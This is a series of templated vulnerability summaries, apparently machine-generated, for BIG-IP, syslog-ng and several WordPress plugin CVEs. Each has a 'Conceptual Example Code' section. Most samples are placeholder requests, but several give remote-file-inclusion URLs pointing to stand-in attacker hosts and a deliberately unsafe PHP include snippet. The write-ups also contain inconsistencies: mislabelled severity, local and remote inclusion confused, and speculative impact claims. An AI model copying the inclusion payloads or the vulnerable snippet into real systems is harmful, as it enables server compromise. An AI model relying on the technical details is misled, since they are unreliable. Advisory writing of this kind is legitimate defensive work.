Author: Ameeba

Overview

The identified vulnerability, CVE-2025-41414, is a serious security issue affecting servers with HTTP/2 client and server profile configurations. It is of critical concern due to the potential for system compromise and data leakage, making it a high-priority issue for system administrators and security professionals alike.

Vulnerability Summary

CVE ID: CVE-2025-41414
Severity: High (CVSS 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Virtual Server with HTTP/2 Profile | All versions prior to patch

How the Exploit Works

The identified exploit works by sending undisclosed requests to the server when HTTP/2 client and server profile is configured on a virtual server. These undisclosed requests can cause the Traffic Management Microkernel (TMM) to terminate, potentially allowing for system compromise or data leakage.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. Please note that this is a hypothetical scenario for understanding purposes.

POST /undisclosed/request HTTP/2
Host: vulnerable-server.example.com
Content-Type: application/json
{ "malicious_request": "Terminate TMM" }

In this example, a malicious user sends an undisclosed request to the server in an attempt to terminate the Traffic Management Microkernel (TMM), potentially gaining unauthorized access or causing data leakage.

Mitigation Guidance

To mitigate this vulnerability, it is recommended to apply the vendor-provided patch as soon as possible. In the interim, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. It is imperative that any systems running software versions that have reached End of Technical Support (EoTS) are updated to maintain security integrity.

Overview

The vulnerability identified as CVE-2025-41399 is a significant security concern that affects systems where a Stream Control Transmission Protocol (SCTP) profile is configured on a virtual server. This vulnerability can lead to an increase in memory resource utilization due to undisclosed requests. As a result, the affected systems could potentially be compromised or suffer data leakage, thus posing a serious risk to information security.

Vulnerability Summary

CVE ID: CVE-2025-41399
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage due to increased memory resource utilization

Affected Products

Product | Affected Versions

Virtual Server Software | All versions prior to the patch
SCTP Profile Software | All versions prior to the patch

How the Exploit Works

The exploit works by sending undisclosed requests to the virtual server when an SCTP profile is configured. These undisclosed requests can cause an increase in memory resource utilization, potentially leading to a system crash or giving unauthorized users the opportunity to access sensitive data or gain control of the system.

Conceptual Example Code

A malicious actor might exploit this vulnerability by sending a flood of undisclosed requests to the server. This could theoretically be done with a simple script, as shown below in a pseudocode:

for i in range(1000000):
send_request("http://target.example.com/vulnerable_endpoint", data={"undisclosed request": i})

This code essentially sends a million undisclosed requests to the vulnerable endpoint, leading to an increase in memory resource utilization.

Overview

The security vulnerability CVE-2025-36557 represents a significant threat to systems utilizing an HTTP profile with the Enforce RFC Compliance option configured on a virtual server. This vulnerability can cause the Traffic Management Microkernel (TMM) to terminate due to undisclosed requests. The subsequent termination could potentially lead to a system compromise or data leakage, hence posing an immense risk to user data privacy and system integrity.

Vulnerability Summary

CVE ID: CVE-2025-36557
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Traffic Management Microkernel (TMM) | Versions reaching End of Technical Support (EoTS)

How the Exploit Works

The exploitation of this vulnerability occurs when an attacker sends undisclosed requests to a virtual server with an HTTP profile that enforces RFC compliance. These undisclosed requests cause the server’s Traffic Management Microkernel (TMM) to terminate. The termination could lead to a potential system compromise or data leakage.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited using an HTTP request:

POST /undisclosed/request HTTP/1.1
Host: targetedserver.com
Content-Type: application/json
{ "malicious_payload": "Terminate TMM" }

In the example, the malicious payload is designed to trigger the termination of the Traffic Management Microkernel (TMM) when it is processed by the target server.

Mitigation Guidance

The recommended mitigation strategy for this vulnerability is to apply the vendor’s patch, which is designed to fix the vulnerability. If the patch is not immediately available or applicable, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) could serve as a temporary mitigation strategy. These systems can detect and block the undisclosed requests causing the TMM termination, thereby limiting the potential for system compromise or data leakage.

Overview

CVE-2025-36525 is a high-severity vulnerability discovered in the BIG-IP Access Policy Manager (APM) virtual server when configured to use a PingAccess profile. This vulnerability can lead to termination of the Traffic Management Microkernel (TMM), potentially disrupting the service and possibly leading to system compromise or data leakage. This is a critical concern for organizations using the affected software versions, and an immediate patch is recommended.

Vulnerability Summary

CVE ID: CVE-2025-36525
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

BIG-IP APM | All versions using a PingAccess profile

How the Exploit Works

The vulnerability arises from the handling of undisclosed requests by the BIG-IP APM when configured to use a PingAccess profile. A malicious actor can exploit this vulnerability by sending undisclosed requests to the server. These requests cause the Traffic Management Microkernel (TMM) to terminate, potentially disrupting the service, and opening the door for system compromise or data leakage.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This is a sample HTTP request, which simulates the undisclosed request that triggers the vulnerability.

POST /undisclosed/request HTTP/1.1
Host: vulnerable.example.com
Content-Type: application/json
{ "malicious_request": "Undisclosed request causing TMM termination" }

Mitigation and Patching Guidance

The best mitigation against this vulnerability is to apply the patch provided by the vendor. If this is not immediately possible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary alternative for mitigating the risk associated with this vulnerability. However, these measures are not long-term solutions and should be complemented with the application of the vendor-provided patch as soon as it is feasible.

Overview

The vulnerability, identified as CVE-2025-36504, is a significant security flaw found in the BIG-IP HTTP/2 httprouter profile that is configured on a virtual server. This vulnerability can potentially lead to system compromise and data leaks due to increased memory resource utilization. Notably, this flaw affects a wide range of businesses and organizations that use this server technology, highlighting the critical need for immediate remediation to prevent potential cyberattacks.

Vulnerability Summary

CVE ID: CVE-2025-36504
Severity: Critical (CVSS Score: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

BIG-IP HTTP/2 httprouter profile | All versions up to the end of technical support (EoTS)

How the Exploit Works

The exploit works by sending undisclosed responses to a virtual server with a BIG-IP HTTP/2 httprouter profile configured. These responses result in an increase in memory resource utilization, potentially leading to a system crash or a slowdown, thereby creating an opening for unauthorized access or data leakage.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited:

POST /undisclosed/responses HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "<payload exploiting memory resource utilization>" }

In this example, the attacker sends a specially crafted payload designed to exploit the memory resource utilization vulnerability. The server, unable to handle the increased memory usage, becomes a susceptible target for further attacks or data leaks.

Mitigation Guidance

To mitigate this vulnerability, users should immediately apply the vendor-supplied patch. In the absence of an immediate patch, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure. However, these are not long-term solutions, and the system remains at risk until the patch is applied.

Overview

The CVE-2025-35995 vulnerability pertains to the BIG-IP Policy Enforcement Manager (PEM) system. When a PEM system is licensed with URL categorization and a policy or an iRule with the urlcat command is enabled, undisclosed requests can cause the Traffic Management Microkernel (TMM) to terminate. This vulnerability can potentially lead to a system compromise or data leakage, affecting any organization that employs the BIG-IP PEM system.

Vulnerability Summary

CVE ID: CVE-2025-35995
Severity: High (7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

BIG-IP PEM System | Versions with URL categorization licensed

How the Exploit Works

The exploit takes advantage of the BIG-IP PEM system when URL categorization is licensed and enabled. Through undisclosed requests, an attacker can trigger the termination of the Traffic Management Microkernel (TMM). This termination can cause system instability or failure, potentially providing an opportunity for system compromise or data leakage.

Conceptual Example Code

This conceptual example demonstrates how an attacker might use an undisclosed request to exploit the vulnerability. In this case, the “malicious_payload” represents an undisclosed request that can trigger the TMM to terminate.

POST /urlcat/command HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "undisclosed_request" }

Mitigation Guidance

Organizations are advised to apply the vendor patch to address this vulnerability. As a temporary mitigation, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used to monitor and block suspicious requests that might exploit this vulnerability. It’s also recommended to disable the urlcat command on the virtual server until the patch is applied.

Overview

This report provides a detailed analysis of the CVE-2024-47619 vulnerability. The vulnerability exists in syslog-ng, an enhanced log daemon, and it affects versions prior to 4.8.2. The vulnerability has an impact on TLS connections and may expose systems to potential man-in-the-middle attacks, thereby leading to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2024-47619
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Possible system compromise and data leakage

Affected Products

Product | Affected Versions

syslog-ng | versions prior to 4.8.2

How the Exploit Works

The vulnerability is a result of the `tls_wildcard_match()` function in syslog-ng matching certificates such as `foo.*.bar`, which should not be allowed. It is also possible to pass partial wildcards such as `foo.a*c.bar` which glib matches but should be avoided or invalidated. This flaw can be exploited in a malicious man-in-the-middle attack where an attacker can present a certificate that should not match but does due to this bug, thereby intercepting secure TLS communications.

Conceptual Example Code

Here is a conceptual example of how this vulnerability might be exploited. This is a pseudocode representation and is not intended to be executed.

// Obtain a certificate that should not match but does due to the vulnerability
certificate = get_certificate("foo.*.bar")
// Setup a man-in-the-middle attack
setup_mitm_attack(certificate)
// Intercept and possibly modify secure TLS communications
intercept_communication()

The mitigation for this vulnerability is to apply the vendor patch or use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation. In the long term, upgrading to syslog-ng version 4.8.2 or later, which contains a fix for this issue, is highly recommended.

Overview

The vulnerability dubbed as CVE-2025-47531 is a critical security flaw that affects the Xylus Themes XT Event Widget for Social Events. Specifically, it relates to an Improper Control of Filename for Include/Require Statement in PHP Program, otherwise known as PHP Remote File Inclusion. The defect allows potential perpetrators to perform PHP Local File Inclusion, which could lead to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-47531
Severity: High (7.5 CVSS Score)
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: System compromise, Data leakage

Affected Products

Product | Affected Versions

Xylus Themes XT Event Widget for Social Events | n/a through 1.1.7

How the Exploit Works

The exploit works by taking advantage of the improper control of filename for include/require statement in the PHP program of the affected widget. The attacker could manipulate the file path in the include/require statement to execute a remote file from an arbitrary server. This remote file can contain malicious PHP code that, when executed, could compromise the system or lead to data leakage.

Conceptual Example Code

Here is a hypothetical example of how the vulnerability might be exploited using a manipulated HTTP request:

GET /path/to/vulnerable/widget.php?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: target.example.com

In this example, the attacker has manipulated the ‘file’ parameter in the request to include a PHP file from their server (`attacker.com`). This malicious file (`malicious_file.php`) contains a code that, when executed, could compromise the system or result in data leakage.

Recommendations

Users are advised to immediately update the affected widget to the patched version as provided by the vendor. In the interim, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used to mitigate the vulnerability. Regular checks for system integrity and data leaks are also recommended.

Overview

The CVE-2025-47510 vulnerability is a critical issue affecting the Display Eventbrite Events PHP program. It is an instance of the ‘PHP Remote File Inclusion’ vulnerability, resulting from the improper control of filename for Include/Require Statement in the PHP program. The vulnerability can potentially lead to system compromise or data leakage, making it a serious threat to the security of the affected systems.

Vulnerability Summary

CVE ID: CVE-2025-47510
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Fullworks Display Eventbrite Events | All versions up to the latest

How the Exploit Works

This vulnerability exploits the improper control of filename for Include/Require Statement in PHP. An attacker can manipulate the file inclusion mechanisms in PHP to execute remote files. This can be done by tampering with the filename argument in the include/require statement, making it point to a malicious file on a remote server instead of a local file. Once the remote file is included, it gets executed in the server’s context, leading to potential system compromise or data leakage.

Conceptual Example Code

Here is a conceptual example of how this vulnerability might be exploited:

<?php
// The 'file' parameter value is taken from user input
$file = $_GET['file'];
// The file is included without any validation
include($file . '.php');
?>

In the above example, a malicious actor could send a request like `http://target.com/vulnerable.php?file=http://malicious.com/malicious`, which results in the inclusion and execution of the malicious file from the attacker’s server. This could lead to various malicious activities, depending on the content of the included file.

Overview

The CVE-2025-47508 vulnerability is a serious issue that affects GamiPress, a popular gamification plugin for WordPress websites. This vulnerability arises due to improper control of filename for Include/Require statement in PHP program, which allows a PHP Local File Inclusion (LFI). The potential impact of this vulnerability can lead to a complete system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-47508
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

GamiPress | up to 7.3.7

How the Exploit Works

The CVE-2025-47508 exploit operates by leveraging the improper control of filenames for Include/Require statements in the PHP programming language used by GamiPress. An attacker could manipulate the filename that’s included in the server-side PHP scripts, allowing for the execution of arbitrary PHP code. This could potentially allow for PHP Local File Inclusion (LFI), leading to data leakage or complete system compromise.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited:

GET /path/to/vulnerable/script.php?file=http://malicious.com/malicious_code.txt HTTP/1.1
Host: vulnerable-website.com

In this example, the attacker is making a GET request to the vulnerable PHP script, manipulating the `file` parameter to include a remote file from a malicious server (`http://malicious.com/malicious_code.txt`). This file contains malicious PHP code, which is executed on the server hosting the vulnerable script.